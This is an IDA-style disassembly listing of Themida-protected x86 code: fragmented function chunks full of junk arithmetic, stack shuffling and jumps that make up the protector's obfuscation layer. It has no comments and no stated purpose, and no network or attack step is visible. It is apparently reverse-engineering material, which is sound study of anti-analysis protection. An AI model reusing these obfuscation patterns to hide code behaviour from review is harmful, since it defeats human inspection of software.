; START OF FUNCTION CHUNK FOR sub_560B67
loc_560962: ; CODE XREF: sub_560B67+D624j
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebp
mov ebp, 4
add ecx, ebp
pop ebp
xchg ecx, [esp+0]
pop esp
not ecx
push 61BEh
mov [esp+0], eax
sub esp, 4
mov [esp+4+var_4], ecx
pop eax
push dword ptr [esp+0]
mov ecx, [esp+4+var_4]
jmp loc_56C9E0
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5706E9
loc_5609A0: ; CODE XREF: sub_5706E9+8j
not ebp
add ebp, 280E1C0Eh
jmp loc_55F65D
; END OF FUNCTION CHUNK FOR sub_5706E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5646E3
loc_5609AD: ; CODE XREF: sub_5646E3-72A1j
push dword ptr [esp+0]
pop ecx
add esp, 4
add esp, 4
movzx eax, al
push dword ptr [edi+eax*4]
push 21Ch
mov [esp+0], ebx
push 4A38h
mov [esp+4+var_4], ecx
jmp loc_55D4A2
; END OF FUNCTION CHUNK FOR sub_5646E3
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_5647B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_5609E4: ; CODE XREF: sub_56B774-84D9j
push esp
pop esi
add esi, 4
jmp loc_561CD5
; END OF FUNCTION CHUNK FOR sub_56B774
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5609F1: ; CODE XREF: sub_56755A+1CD5j
add ebx, 0DEB8194Ch
add edx, ebx
pop ebx
sub edx, 0ECB1050Fh
sub ebp, 35465513h
add ebp, edx
jmp loc_56205E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CAA
loc_560A0D: ; CODE XREF: sub_560CAA+9410j
mov edx, edi
pop edi
jmp loc_55C054
; END OF FUNCTION CHUNK FOR sub_560CAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_560A15: ; CODE XREF: sub_55D71E+E187j
pop edx
jmp loc_5669DD
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560A1B: ; CODE XREF: sub_56755A-5714j
pop edx
shl bl, 3
jmp loc_56141A
; ---------------------------------------------------------------------------
loc_560A24: ; CODE XREF: sub_56755A-6268j
neg edi
or edi, 42671F93h
shr edi, 3
shr edi, 7
neg edi
sub edi, 889F0264h
sub esi, edi
pop edi
sub esi, eax
add esi, 77273DADh
sub esi, 5EC79DAh
pop eax
xor esi, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], esi
jmp loc_55B7F3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560A57: ; CODE XREF: Themida_:00569C94j
pop ebp
shl edx, 8
push ebp
mov ebp, 337E348Ah
push ecx
mov ecx, 0E913E15h
jmp loc_56AC67
; ---------------------------------------------------------------------------
loc_560A6C: ; CODE XREF: Themida_:005697F6j
mov ebp, 577242DDh
push ecx
mov ecx, 2884675Bh
neg ecx
and ecx, 756A2485h
jmp loc_560E79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_560A84: ; CODE XREF: sub_56CEE9-808Dj
push edi
jmp loc_56FC8E
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561BE4
loc_560A8A: ; CODE XREF: sub_561BE4+35j
pop eax
neg eax
push ecx
mov ecx, 0FF16AE58h
xor eax, ecx
pop ecx
push eax
jmp loc_57045C
; END OF FUNCTION CHUNK FOR sub_561BE4
; ---------------------------------------------------------------------------
loc_560A9C: ; CODE XREF: Themida_:0056EB62j
push 50B7h
mov [esp], ebp
mov ebp, 2
push eax
push ebx
mov ebx, 7B636619h
dec ebx
not ebx
jmp loc_563E56
; ---------------------------------------------------------------------------
loc_560AB8: ; CODE XREF: Themida_:00569DF8j
sub eax, 2B4249E9h
pop ecx
add eax, ebx
push ebx
mov ebx, 6E5C5214h
inc ebx
dec ebx
neg ebx
jmp loc_566BA8
; ---------------------------------------------------------------------------
loc_560ACF: ; CODE XREF: Themida_:0056AE8Fj
pop edi
add ecx, 4
xchg ecx, [esp]
pop esp
push 553Dh
mov [esp], edx
push ebx
jmp loc_567DCF
; ---------------------------------------------------------------------------
loc_560AE5: ; CODE XREF: Themida_:0056EABEj
mov esi, edi
mov ebp, esi
pop esi
jmp loc_5691A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_560AEF: ; CODE XREF: sub_56F7FC-CE6Ej
add ecx, 30C16CE2h
shr ecx, 5
dec ecx
jmp loc_5691AF
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_560AFE: ; CODE XREF: Themida_:0056846Bj
sub ebx, esi
add ebx, 53546DDDh
push dword ptr [esp]
pop esi
add esp, 4
sub ebp, 7FB84FB4h
add ebp, ebx
add ebp, 7FB84FB4h
push dword ptr [esp]
pop ebx
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
idiv cl
movzx cx, ah
push small 3A61h
mov [esp], cx
movzx cx, al
jmp loc_563714
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F5D6
loc_560B48: ; CODE XREF: sub_55F5D6+DFD3j
mov esp, [esp+0]
push [esp-4+arg_0]
jmp loc_55EED8
; END OF FUNCTION CHUNK FOR sub_55F5D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560B53: ; CODE XREF: sub_56755A+117j
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560B58: ; CODE XREF: Themida_:0056DDEDj
mov [esp], ebp
mov ebp, 4
add ecx, ebp
jmp loc_55EDB3
; =============== S U B R O U T I N E =======================================
sub_560B67 proc near ; CODE XREF: sub_564E24+132Dj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C8B2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055CA99 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055DCDE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055FD8F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00560962 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00560DEB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005616AF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00561E7A SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00561FB4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005621E7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00564E50 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056523A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565B9B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565BFD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00566E51 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BFD1 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056C9E0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056D2CA SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0056E183 SIZE 0000000D BYTES
push ebx
jmp loc_561FB4
sub_560B67 endp
; ---------------------------------------------------------------------------
loc_560B6D: ; CODE XREF: Themida_:00562A3Cj
add edi, 5CA63EE8h
jmp loc_55D2C9
; ---------------------------------------------------------------------------
loc_560B78: ; CODE XREF: Themida_:0055BE1Cj
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ebx
push edx
mov edx, 4EC53D07h
mov ebx, 539898F5h
sub ebx, edx
pop edx
xor ebx, 37501279h
dec ebx
push ebp
jmp loc_56D023
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_560B9F: ; CODE XREF: sub_56CB7D+442j
shr eax, 0Bh
jmp loc_5684CB
; ---------------------------------------------------------------------------
loc_560BA7: ; CODE XREF: sub_56CB7D-10E81j
add esp, 4
add esp, 4
jmp loc_568932
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560BB8: ; CODE XREF: sub_56755A-9C8j
push edx
jmp loc_56935A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560BBE: ; CODE XREF: Themida_:005673A8j
add ebx, 4
jmp loc_56B418
; ---------------------------------------------------------------------------
loc_560BC9: ; CODE XREF: Themida_:0055B896j
push 356Ch
mov [esp], esi
push ecx
mov ecx, 59DC7F54h
push eax
push edx
mov edx, 28BF1252h
push ebp
mov ebp, edx
mov eax, ebp
pop ebp
jmp loc_569E76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560BE9: ; CODE XREF: sub_56755A+AACj
push 4031h
mov [esp+14h+var_14], ecx
push esp
jmp loc_564731
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560BF7: ; CODE XREF: Themida_:00561F64j
mov ebp, [esp]
add esp, 4
push edx
jmp loc_56DC79
; ---------------------------------------------------------------------------
loc_560C03: ; CODE XREF: Themida_:0056D8CBj
add ecx, 4
sub ecx, 4
jmp loc_563166
; ---------------------------------------------------------------------------
loc_560C11: ; CODE XREF: Themida_:0056F6DFj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_56F4CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560C20: ; CODE XREF: sub_56755A-6810j
mov [esp+18h+var_18], edi
push ebx
mov ebx, 40D5744Ah
mov edi, ebx
pop ebx
xor esi, edi
mov edi, [esp+18h+var_18]
add esp, 4
xor esi, 54E30123h
sub esi, 3F82C3Fh
jmp loc_56CB14
; ---------------------------------------------------------------------------
loc_560C45: ; CODE XREF: sub_56755A-31AEj
push [esp+14h+var_14]
jmp loc_5616C2
; ---------------------------------------------------------------------------
loc_560C4D: ; CODE XREF: sub_56755A-8FAj
xor ecx, 562E76C8h
dec ecx
add ecx, 991B45BEh
sub ebx, ecx
pop ecx
sub ebx, 78904305h
mov ebp, [esp+14h+var_14]
add esp, 4
jmp loc_560048
; ---------------------------------------------------------------------------
loc_560C6E: ; CODE XREF: sub_56755A+3CD4j
add bl, al
pop eax
jmp sub_561D1D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560C76: ; CODE XREF: Themida_:0055DB1Fj
add esp, 4
add ebx, esi
jmp loc_55EBD2
; ---------------------------------------------------------------------------
loc_560C80: ; CODE XREF: Themida_:00566B2Bj
not ebp
shr ebp, 2
xor ebp, 0B5BD448h
sub esi, ebp
pop ebp
add [esp+4], esi
jmp loc_566067
; =============== S U B R O U T I N E =======================================
sub_560C97 proc near ; CODE XREF: sub_56755A+52BAj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561A5C SIZE 00000010 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov bh, 8
jmp loc_561A5C
sub_560C97 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_560CA4: ; CODE XREF: sub_56E89A-EA5Dj
pop eax
jmp loc_56F28F
; END OF FUNCTION CHUNK FOR sub_56E89A
; =============== S U B R O U T I N E =======================================
sub_560CAA proc near ; CODE XREF: sub_56755A+7803j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C054 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055E242 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055FD38 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00560A0D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005634AC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00564178 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005647CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00564FE4 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00565F97 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A0AD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056B801 SIZE 00000011 BYTES
sub esp, 4
jmp loc_564178
sub_560CAA endp
; ---------------------------------------------------------------------------
lodsb
push ecx
push esp
jmp loc_5674AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_560CBD: ; CODE XREF: sub_56F7FC-9231j
add ecx, 3DB853ACh
mov edx, [esp+4+var_4]
add esp, 4
jmp sub_56E89A
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_560CD1: ; CODE XREF: Themida_:0056E801j
mov dl, bl
pop ebx
mov ch, 10h
push eax
mov ah, 3Ah
sub ch, ah
pop eax
add ch, dl
add ch, 3Ah
pop edx
sub ch, 3Ah
jmp loc_5617F2
; ---------------------------------------------------------------------------
loc_560CEA: ; CODE XREF: Themida_:0055BBF2j
push 3A1Dh
jmp loc_56E9A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F88
loc_560CF4: ; CODE XREF: sub_562F88+594Bj
mov [esp+0], edi
mov edi, 4C3C4F7Eh
shr edi, 7
or edi, 15B17830h
jmp sub_562FB2
; END OF FUNCTION CHUNK FOR sub_562F88
; ---------------------------------------------------------------------------
loc_560D0A: ; CODE XREF: Themida_:00561969j
sub al, bl
jmp loc_55FAB8
; ---------------------------------------------------------------------------
loc_560D11: ; CODE XREF: Themida_:0055CA09j
add dword ptr [esp], 4
jmp loc_55EBAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_560D1D: ; CODE XREF: sub_55FDEF+AFB1j
push 4FF57644h
jmp loc_561E6C
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_560D27: ; CODE XREF: Themida_:00563F83j
mov bl, 6Eh
push ebx
mov bh, 89h
mov cl, 8Fh
jmp loc_56544E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560D33: ; CODE XREF: sub_56755A+A3Fj
pop esi
xchg ecx, [esp+8+var_8]
pop esp
jmp sub_56250B
; ---------------------------------------------------------------------------
loc_560D3D: ; CODE XREF: sub_56755A-2111j
not esi
add esi, 427B6122h
push 10F0h
jmp loc_560C20
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560D4F: ; CODE XREF: Themida_:0055BB12j
mov edx, [esp]
add esp, 4
jmp loc_560F3A
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_55B7A7
; =============== S U B R O U T I N E =======================================
sub_560D65 proc near ; CODE XREF: sub_56755A-1D8j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055E0BB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005607BA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568D65 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056BA47 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056F63B SIZE 0000000C BYTES
push ebx
push esi
mov esi, 52A2174Eh
mov ebx, 51530CA5h
jmp loc_5607BA
sub_560D65 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_560D76: ; CODE XREF: sub_56CB7D-10690j
add esp, 4
jmp loc_55D4EF
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_560D7E: ; CODE XREF: Themida_:0056FB80j
push ebp
jmp loc_56DBB4
; ---------------------------------------------------------------------------
loc_560D84: ; CODE XREF: Themida_:0056BA1Dj
mov ah, 54h
or ah, 87h
jmp loc_55F1C4
; ---------------------------------------------------------------------------
loc_560D8E: ; CODE XREF: Themida_:0055EBA5j
sub eax, 111041E1h
add eax, esi
add eax, 111041E1h
push dword ptr [esp]
pop esi
push edx
mov edx, esp
push ecx
jmp loc_566638
; =============== S U B R O U T I N E =======================================
sub_560DA7 proc near ; CODE XREF: sub_56755A-1191j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 005600D0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056152E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00566B30 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A2C1 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056E039 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056FB23 SIZE 0000000B BYTES
push ebx
push ebp
push edx
jmp loc_56152E
sub_560DA7 endp
; ---------------------------------------------------------------------------
loc_560DAF: ; CODE XREF: Themida_:00562D7Bj
add edx, 49390A1Fh
add edx, ebp
push ebx
mov ebx, 65635A46h
jmp loc_56DCE3
; ---------------------------------------------------------------------------
loc_560DC2: ; CODE XREF: Themida_:0055F780j
push 725655C0h
jmp loc_5680D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560DCC: ; CODE XREF: sub_56755A+598j
dec ebp
shr ebp, 5
sub esp, 4
jmp loc_56ADF9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560DDB: ; CODE XREF: Themida_:0056DD61j
dec si
push cx
mov cx, 0F5Fh
sub esp, 2
jmp loc_56CF34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_560DEB: ; CODE XREF: sub_560B67-42A1j
mov [esp+0], esi
push esp
pop esi
push edx
mov edx, 5AD24923h
push ebp
jmp loc_56D2CA
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_560DFC: ; CODE XREF: sub_56E89A-A7DAj
add ebx, 4
add ebx, 4
xchg ebx, [esp+8+var_8]
jmp loc_56E63F
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_560E0D: ; CODE XREF: Themida_:00564DFFj
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560E1B: ; CODE XREF: sub_56755A+67E3j
add edx, 4
push ebp
mov ebp, 4
add edx, ebp
pop ebp
xchg edx, [esp+0Ch+var_C]
jmp loc_56CD41
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560E32: ; CODE XREF: Themida_:0056D35Ej
add bl, 0D5h
sub bl, 0FBh
add bl, al
add bl, 0FBh
push edx
push eax
mov ah, 75h
jmp loc_55D3F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643B1
loc_560E46: ; CODE XREF: sub_5643B1+3021j
sub esi, 4DF032BEh
mov ebp, esi
jmp loc_56DE92
; END OF FUNCTION CHUNK FOR sub_5643B1
; ---------------------------------------------------------------------------
loc_560E53: ; CODE XREF: Themida_:0056ED69j
push eax
mov eax, 2ADA1EE4h
jmp loc_56747D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560E5E: ; CODE XREF: sub_56755A-4883j
add edi, ebx
pop ebx
jmp loc_55F0F6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_560E66: ; CODE XREF: sub_56E89A-BD84j
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
jmp loc_56ACB9
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560E71: ; CODE XREF: sub_56755A-1335j
sub edx, ecx
pop ecx
jmp loc_56627B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560E79: ; CODE XREF: Themida_:00560A7Fj
and ecx, 26DE64CCh
jmp loc_56A1B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560E84: ; CODE XREF: sub_56755A-3362j
add ebx, 1
push eax
mov eax, 73684428h
add ebx, eax
pop eax
push ecx
mov ecx, 59FC0D17h
sub edi, 47AE6A33h
add edi, ecx
jmp loc_56669C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_560EA6: ; CODE XREF: sub_565269-4DEBj
push 72A9h
mov [esp+0Ch+var_C], ebx
push eax
push ebp
jmp loc_5699AB
; END OF FUNCTION CHUNK FOR sub_565269
; =============== S U B R O U T I N E =======================================
sub_560EB5 proc near ; CODE XREF: sub_56250B+19CEj
var_4 = word ptr -4
; FUNCTION CHUNK AT 0055F620 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00560F87 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00561167 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562227 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056CC6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056FD93 SIZE 00000016 BYTES
sub esp, 2
mov [esp+4+var_4], cx
mov cx, 62F0h
jmp loc_56FD93
sub_560EB5 endp
; ---------------------------------------------------------------------------
loc_560EC8: ; CODE XREF: Themida_:0056A40Ej
mov edi, 4
sub eax, 7FDE0F31h
add eax, edi
add eax, 7FDE0F31h
pop edi
xchg eax, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
push esp
pop esi
jmp loc_568B84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560EF0: ; CODE XREF: sub_56755A+A61j
mov [esp+8+var_8], ebp
sub esp, 4
mov [esp+0Ch+var_C], ecx
mov ecx, 33F25339h
add ecx, 7DC57E6Ah
sub ecx, 6FC35581h
push ebx
jmp loc_5703F8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560F10: ; CODE XREF: Themida_:0055C9F6j
shl edi, 5
jmp loc_570627
; ---------------------------------------------------------------------------
loc_560F18: ; CODE XREF: Themida_:0056175Dj
add ecx, 4
xchg ecx, [esp]
pop esp
add ebp, 4
jmp loc_56688C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B3505
loc_560F2A: ; CODE XREF: sub_5B3505-578FDj
pop ax
sub al, 0F5h
sub al, 9Eh
xor dl, al
mov eax, [esp+2Ch+var_2E+2]
jmp loc_564F15
; END OF FUNCTION CHUNK FOR sub_5B3505
; ---------------------------------------------------------------------------
loc_560F3A: ; CODE XREF: Themida_:00560D55j
sub esp, 4
mov [esp], ebp
push esp
jmp loc_55E80F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560F49: ; CODE XREF: sub_56755A+CDEj
sub edi, ebx
xchg edi, ebx
pop edi
xor ebx, 10260C45h
shl ebx, 2
not ebx
push ebp
mov ebp, 1536213Dh
jmp loc_55BD60
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_560F64: ; CODE XREF: Themida_:0056EEACj
sub ebx, eax
sub ebx, 4D443CB4h
pop eax
xor ebx, [esp]
xor [esp], ebx
jmp loc_561780
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EB5
loc_560F87: ; CODE XREF: sub_560EB5-188Fj
add bx, ax
pop ax
pop cx
movzx eax, ax
jmp loc_562227
; END OF FUNCTION CHUNK FOR sub_560EB5
; ---------------------------------------------------------------------------
loc_560F96: ; CODE XREF: Themida_:0055E184j
add edx, ecx
pop ecx
add edx, 4
xor edx, [esp]
jmp loc_561B44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_560FA7: ; CODE XREF: sub_55FDEF+8B77j
xor eax, [esp+4+var_4]
pop esp
jmp loc_568536
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_560FB0: ; CODE XREF: Themida_:0056CDA0j
xor si, [esp]
jmp loc_567BB5
; ---------------------------------------------------------------------------
loc_560FB9: ; CODE XREF: Themida_:0056697Dj
mov ecx, 6290FF3h
sub ebp, ecx
pop ecx
pop eax
push eax
jmp loc_55BDDF
; ---------------------------------------------------------------------------
loc_560FC8: ; CODE XREF: Themida_:00562833j
sub eax, 70423EEFh
pop ecx
xchg eax, [esp]
pop esp
jmp loc_565AB5
; =============== S U B R O U T I N E =======================================
sub_560FD7 proc near ; CODE XREF: sub_56E1C0-B4B0j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C8D5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00565C0B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056637E SIZE 00000018 BYTES
push ebx
jmp loc_56637E
sub_560FD7 endp
; ---------------------------------------------------------------------------
loc_560FDD: ; CODE XREF: Themida_:00563536j
mov esp, [esp]
and [esp], ax
pushf
jmp loc_567507
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_560FEA: ; CODE XREF: sub_56755A-430Aj
mov esi, 4
add edx, esi
mov esi, [esp+10h+var_10]
add esp, 4
xor edx, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], edx
xor edx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
test ecx, eax
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F13C
loc_56100B: ; CODE XREF: sub_56F13C-D97Cj
pop esp
and eax, ebx
mov ebx, [esp-4+arg_0]
push ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
jmp loc_56EF17
; END OF FUNCTION CHUNK FOR sub_56F13C
; ---------------------------------------------------------------------------
loc_561028: ; CODE XREF: Themida_:0056B550j
push ecx
mov ecx, 6C6C5C99h
sub ebx, ecx
pop ecx
mov eax, [ebx]
mov ebx, [esp]
add esp, 4
jmp loc_5643A2
; ---------------------------------------------------------------------------
loc_56103E: ; CODE XREF: Themida_:0055E526j
sub edx, 0AFE04625h
mov esi, 21F51654h
xor esi, edx
pop edx
sub eax, esi
pop esi
add eax, 66681392h
add eax, edx
jmp loc_5689DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56105B: ; CODE XREF: sub_56755A+1A00j
push 2BE4h
mov [esp+14h+var_14], ecx
push ebx
jmp loc_56FCAE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_561069: ; CODE XREF: Themida_:0055F78Aj
mov cx, [esp]
add esp, 2
sub ax, si
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
push ebx
jmp loc_56CF79
; ---------------------------------------------------------------------------
loc_56108B: ; CODE XREF: Themida_:0055E3C2j
mov ebx, [esp]
push eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
jmp loc_5681A7
; ---------------------------------------------------------------------------
loc_5610A5: ; CODE XREF: Themida_:005648FBj
xchg edx, esi
not edx
jmp loc_56D12D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5610AE: ; CODE XREF: sub_56755A-78F3j
mov [esp+12h+var_14+2], esi
push eax
jmp loc_564407
; ---------------------------------------------------------------------------
loc_5610B7: ; CODE XREF: sub_56755A+6996j
push esi
mov edi, [esp+1Ah+var_1C+2]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_56D5C8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566FBB
loc_5610CC: ; CODE XREF: sub_566FBB+5C30j
mov [esp+0], esi
push edi
mov edi, esp
push ecx
mov ecx, 4
add edi, ecx
pop ecx
sub edi, 4
xchg edi, [esp+4+var_4]
jmp loc_5660D3
; END OF FUNCTION CHUNK FOR sub_566FBB
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_55C264
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5610F6: ; CODE XREF: sub_56755A+2F09j
add eax, 5B427D88h
add eax, ecx
sub eax, 5B427D88h
jmp loc_5705A4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_561107: ; CODE XREF: sub_56B62C+1589j
xor dh, 43h
add bh, dh
pop edx
jmp loc_565F16
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
loc_561112: ; CODE XREF: Themida_:0056DD79j
mov [esp], eax
mov eax, 619B1A9Fh
jmp loc_55F691
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56111F: ; CODE XREF: sub_55CD7B+6B41j
mov ebp, 4
add edx, 6EB8622Dh
jmp loc_56A0BF
; END OF FUNCTION CHUNK FOR sub_55CD7B
